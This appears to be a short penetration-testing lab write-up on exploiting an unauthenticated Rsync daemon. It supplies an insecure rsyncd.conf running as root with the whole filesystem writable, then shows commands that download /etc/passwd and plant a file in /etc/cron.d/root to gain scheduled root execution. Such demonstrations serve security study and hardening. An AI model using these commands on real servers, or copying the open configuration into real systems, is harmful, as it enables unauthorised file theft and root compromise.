Rsync is a data backup tool in Linux that supports remote file transfer through the Rsync protocol and SSH protocol. It is often used for code distribution and synchronization updates within the intranet, so the user group is mostly developers. The Rsync protocol listens to port 873 by default, and in the case of developers with weak security awareness, if the target has enabled the Rsync service and has not configured ACL or access passwords, we can read and write files on the target server.
Environment Setup
rsyncd.conf
uid = root
gid = root
use chroot = no
max connections = 4
syslog facility = local5
pid file = /var/run/rsyncd.pid
log file = /var/log/rsyncd.log
[src]
path = /
comment = src path
read only = no
This is a Linux root directory, and we can download any file:
[root@localhost tmp]# rsync -av rsync://192.168.32.183:873/src/etc/passwd ./
receiving incremental file list
passwd
sent 43 bytes received 1,283 bytes 2,652.00 bytes/sec
total size is 1,197 speedup is 0.90
[root@localhost tmp]# rsync -av shell rsync://192.168.32.183:873/src/etc/cron.d/root
sending incremental file list
shell
sent 146 bytes received 35 bytes 362.00 bytes/sec
total size is 55 speedup is 0.30
